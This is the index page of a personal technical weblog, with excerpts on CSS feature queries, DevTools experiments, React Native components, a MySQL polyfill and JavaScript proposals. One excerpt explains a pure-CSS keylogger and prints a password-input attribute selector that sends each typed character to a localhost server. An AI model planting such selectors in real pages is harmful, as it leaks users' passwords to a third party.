A rather geeky/technical weblog, est. 2001, by Bramus
@supports to detect if a browser supports CSS VariablesUPDATE: The code snippet has been updated to use –custom instead of –. When Ire originally tweeted this — was a valid name for a custom property. This is no longer the case. As tweeted by Ire Aderinokun: @supports (color: var(–custom)) { /* has support */ } Not too surprising if you’ve used Feature Queries …
Continue reading “Using @supports to detect if a browser supports CSS Variables”
Using chrome://flags/ it’s possible to enable “Developer Tools Experiments”. On the most recent Fronteers Conference, Umar Hansa showed that there are even more DevTools Experiments that one can enable: Enable “Developer Tools Experiments” via chrome://flags/ if you haven’t already In the DevTools, go to Settings and select Experiments Hit SHIFT 6 times After having done …
Continue reading “Enabling experimental Developer Tools Experiments”
Last Friday Max Lynch sent out this tweet: I'm still not over Apple killing the best emoji there ever was pic.twitter.com/gVOMhEP3Mn — Max Lynch (@maxlynch) March 15, 2018 Inspired by an idea that first came to my mind after seeing these emoji compositions using the 😎 emoji, I quickly replied that it’d be perfectly possible …
For an RN app I’m co-developing we have several repos that work together. One of the repos acts a library for other repos to use. During development, in order to test a few things out, we sometimes need to have the local dev version of the library repo work with one of the other repos …
Continue reading “Working with symlinked packages in React Native”
Yesterday I heard on the news that clocks in Europe have started to lag behind on the official time. The culprit is a fluctuation in Europe’s electricity grid. Clocks, like the ones in your microwave, that are reliant on Grid Time are affected by these fluctuations: Grid Time is a time measurement which is based …
Continue reading “Grid Time (or “Why are clocks in Europe lagging behind by 5 minutes?”)”
ST_Distance_Sphere PolyfillOne of the cool things about MySQL 5.7 is the fact that it sports a few spatial convenience functions (since 5.7.6), allowing one to do operations on geometric values. One of those convenience functions is ST_Distance_Sphere, which allows one to calculate the (spherical) distance between two points. Recently I was working an project where I …
Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory goes that whenever a user presses the a character inside an input[type=”password”], a request to …
Continue reading “CSS Keylogger (and why you shouldn’t worry about it)”
<SafeAreaView />One of the elements that shipped with React 0.50 is <SafeAreaView />. It’s a component which you can use to prevent your content from creeping below The Notch and Home Indicator on iPhone X. import { // … SafeAreaView } from 'react-native'; class Main extends React.Component { render() { return ( <SafeAreaView style={styles.safeArea}> <App /> …
Continue reading “React Native and iPhone X: <SafeAreaView />“
context (React 16.3.0)One of the new things in React 16.3.0 is a new context API: Typically, data in a React application is passed top-down (parent to child) via props. But sometimes it’s useful to pass values through multiple levels of abstraction without involving each intermediate. Examples include a locale, or a UI theme. Context in React provides …
UPDATE December 2019: This feature has now advanced to Stage-4 and will be part of the ES2020 Specification! 🎉 One of my favorite ECMAScript Proposals is the “Optional Chaining Operator”. Another proposal that forms great duo with it is the “Nullish Coalescing Operator” (sometimes also referred to as “Nullary Coalescing Operator”). Both proposals still are …
Continue reading “ESNext: JavaScript “Nullish Coalescing Operator””